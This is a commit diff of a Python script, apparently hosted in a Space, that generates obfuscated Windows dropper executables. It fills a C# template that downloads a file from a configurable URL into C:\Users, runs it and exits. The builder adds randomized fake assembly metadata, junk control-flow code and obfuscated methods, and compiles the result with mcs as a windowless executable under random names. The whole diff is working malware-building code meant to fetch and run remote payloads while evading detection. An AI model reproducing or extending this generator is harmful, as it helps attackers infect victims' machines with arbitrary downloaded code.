Spaces:
Paused
Paused
Update main.py
Browse files
main.py
CHANGED
|
@@ -18,16 +18,16 @@ using System.Net.Http;
|
|
| 18 |
using System.Reflection;
|
| 19 |
using System.Threading.Tasks;
|
| 20 |
|
| 21 |
-
[assembly: AssemblyTitle("
|
| 22 |
-
[assembly: AssemblyDescription("
|
| 23 |
-
[assembly: AssemblyConfiguration("
|
| 24 |
-
[assembly: AssemblyCompany("
|
| 25 |
-
[assembly: AssemblyProduct("
|
| 26 |
-
[assembly: AssemblyCopyright("
|
| 27 |
-
[assembly: AssemblyTrademark("
|
| 28 |
-
[assembly: AssemblyVersion("
|
| 29 |
-
[assembly: AssemblyFileVersion("
|
| 30 |
-
[assembly: AssemblyInformationalVersion("
|
| 31 |
|
| 32 |
class Program
|
| 33 |
{
|
|
@@ -39,9 +39,9 @@ class Program
|
|
| 39 |
|
| 40 |
static async Task MainAsync()
|
| 41 |
{
|
| 42 |
-
string downloadUrl = "
|
| 43 |
string destinationFolder = @"C:\\Users";
|
| 44 |
-
string destinationFilePath = Path.Combine(destinationFolder, "
|
| 45 |
|
| 46 |
// Download the file
|
| 47 |
bool downloadSuccess = await DownloadFileAsync(downloadUrl, destinationFilePath);
|
|
@@ -49,7 +49,7 @@ class Program
|
|
| 49 |
// If the file was downloaded successfully, execute it and exit
|
| 50 |
if (downloadSuccess && File.Exists(destinationFilePath))
|
| 51 |
{
|
| 52 |
-
Process.Start(new ProcessStartInfo(destinationFilePath) {
|
| 53 |
Environment.Exit(0); // Exit immediately after starting the process
|
| 54 |
}
|
| 55 |
}
|
|
@@ -70,7 +70,7 @@ class Program
|
|
| 70 |
}
|
| 71 |
}
|
| 72 |
}
|
| 73 |
-
|
| 74 |
}
|
| 75 |
"""
|
| 76 |
|
|
@@ -92,10 +92,10 @@ trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empow
|
|
| 92 |
|
| 93 |
def generate_control_flow_junk():
|
| 94 |
conditions = [
|
| 95 |
-
"if (DateTime.Now.Day % 2 == 0) {
|
| 96 |
-
"for (int i = 0; i < 1; i++) {
|
| 97 |
-
"if (false) {
|
| 98 |
-
"while (false) {
|
| 99 |
]
|
| 100 |
return random.choice(conditions)
|
| 101 |
|
|
@@ -150,21 +150,21 @@ def finish():
|
|
| 150 |
}
|
| 151 |
|
| 152 |
# Replace placeholders in the base template
|
| 153 |
-
modified_cs = base_cs_template.
|
| 154 |
-
|
| 155 |
-
|
| 156 |
-
|
| 157 |
-
|
| 158 |
-
|
| 159 |
-
|
| 160 |
-
|
| 161 |
-
|
| 162 |
-
|
| 163 |
-
|
| 164 |
-
|
| 165 |
-
|
| 166 |
-
|
| 167 |
-
|
| 168 |
|
| 169 |
# Generate random file names
|
| 170 |
script_path = random_string(10) + '.cs'
|
|
@@ -174,12 +174,11 @@ def finish():
|
|
| 174 |
with open(script_path, 'w') as file:
|
| 175 |
file.write(modified_cs)
|
| 176 |
|
| 177 |
-
|
| 178 |
-
|
| 179 |
-
|
| 180 |
-
|
| 181 |
-
|
| 182 |
-
]
|
| 183 |
|
| 184 |
# Run the compilation command
|
| 185 |
try:
|
|
|
|
| 18 |
using System.Reflection;
|
| 19 |
using System.Threading.Tasks;
|
| 20 |
|
| 21 |
+
[assembly: AssemblyTitle("<<title>>")]
|
| 22 |
+
[assembly: AssemblyDescription("<<description>>")]
|
| 23 |
+
[assembly: AssemblyConfiguration("<<configuration>>")]
|
| 24 |
+
[assembly: AssemblyCompany("<<company>>")]
|
| 25 |
+
[assembly: AssemblyProduct("<<product>>")]
|
| 26 |
+
[assembly: AssemblyCopyright("<<copyright>>")]
|
| 27 |
+
[assembly: AssemblyTrademark("<<trademark>>")]
|
| 28 |
+
[assembly: AssemblyVersion("<<version>>")]
|
| 29 |
+
[assembly: AssemblyFileVersion("<<file_version>>")]
|
| 30 |
+
[assembly: AssemblyInformationalVersion("<<informational_version>>")]
|
| 31 |
|
| 32 |
class Program
|
| 33 |
{
|
|
|
|
| 39 |
|
| 40 |
static async Task MainAsync()
|
| 41 |
{
|
| 42 |
+
string downloadUrl = "<<download_url>>";
|
| 43 |
string destinationFolder = @"C:\\Users";
|
| 44 |
+
string destinationFilePath = Path.Combine(destinationFolder, "<<file_name>>");
|
| 45 |
|
| 46 |
// Download the file
|
| 47 |
bool downloadSuccess = await DownloadFileAsync(downloadUrl, destinationFilePath);
|
|
|
|
| 49 |
// If the file was downloaded successfully, execute it and exit
|
| 50 |
if (downloadSuccess && File.Exists(destinationFilePath))
|
| 51 |
{
|
| 52 |
+
Process.Start(new ProcessStartInfo(destinationFilePath) { UseShellExecute = true });
|
| 53 |
Environment.Exit(0); // Exit immediately after starting the process
|
| 54 |
}
|
| 55 |
}
|
|
|
|
| 70 |
}
|
| 71 |
}
|
| 72 |
}
|
| 73 |
+
<<obfuscated_methods>>
|
| 74 |
}
|
| 75 |
"""
|
| 76 |
|
|
|
|
| 92 |
|
| 93 |
def generate_control_flow_junk():
|
| 94 |
conditions = [
|
| 95 |
+
"if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }",
|
| 96 |
+
"for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }",
|
| 97 |
+
"if (false) { Console.WriteLine(\"This will never happen\"); }",
|
| 98 |
+
"while (false) { break; }"
|
| 99 |
]
|
| 100 |
return random.choice(conditions)
|
| 101 |
|
|
|
|
| 150 |
}
|
| 151 |
|
| 152 |
# Replace placeholders in the base template
|
| 153 |
+
modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \
|
| 154 |
+
.replace('<<description>>', assembly_info['description']) \
|
| 155 |
+
.replace('<<configuration>>', assembly_info['configuration']) \
|
| 156 |
+
.replace('<<company>>', assembly_info['company']) \
|
| 157 |
+
.replace('<<product>>', assembly_info['product']) \
|
| 158 |
+
.replace('<<copyright>>', assembly_info['copyright']) \
|
| 159 |
+
.replace('<<trademark>>', assembly_info['trademark']) \
|
| 160 |
+
.replace('<<version>>', assembly_info['version']) \
|
| 161 |
+
.replace('<<file_version>>', assembly_info['file_version']) \
|
| 162 |
+
.replace('<<informational_version>>', assembly_info['informational_version']) \
|
| 163 |
+
.replace('<<download_url>>', download_url) \
|
| 164 |
+
.replace('<<file_name>>', file_name) \
|
| 165 |
+
.replace('<<control_flow_junk>>', generate_control_flow_junk()) \
|
| 166 |
+
.replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
|
| 167 |
+
.replace('<<obfuscated_methods>>', generate_obfuscated_methods())
|
| 168 |
|
| 169 |
# Generate random file names
|
| 170 |
script_path = random_string(10) + '.cs'
|
|
|
|
| 174 |
with open(script_path, 'w') as file:
|
| 175 |
file.write(modified_cs)
|
| 176 |
|
| 177 |
+
compile_command = [
|
| 178 |
+
'mcs', '-target:winexe', '-out:' + exe_name, script_path,
|
| 179 |
+
'-win32icon:app.ico', '-win32manifest:app.manifest',
|
| 180 |
+
'/reference:System.Net.Http.dll'
|
| 181 |
+
]
|
|
|
|
| 182 |
|
| 183 |
# Run the compilation command
|
| 184 |
try:
|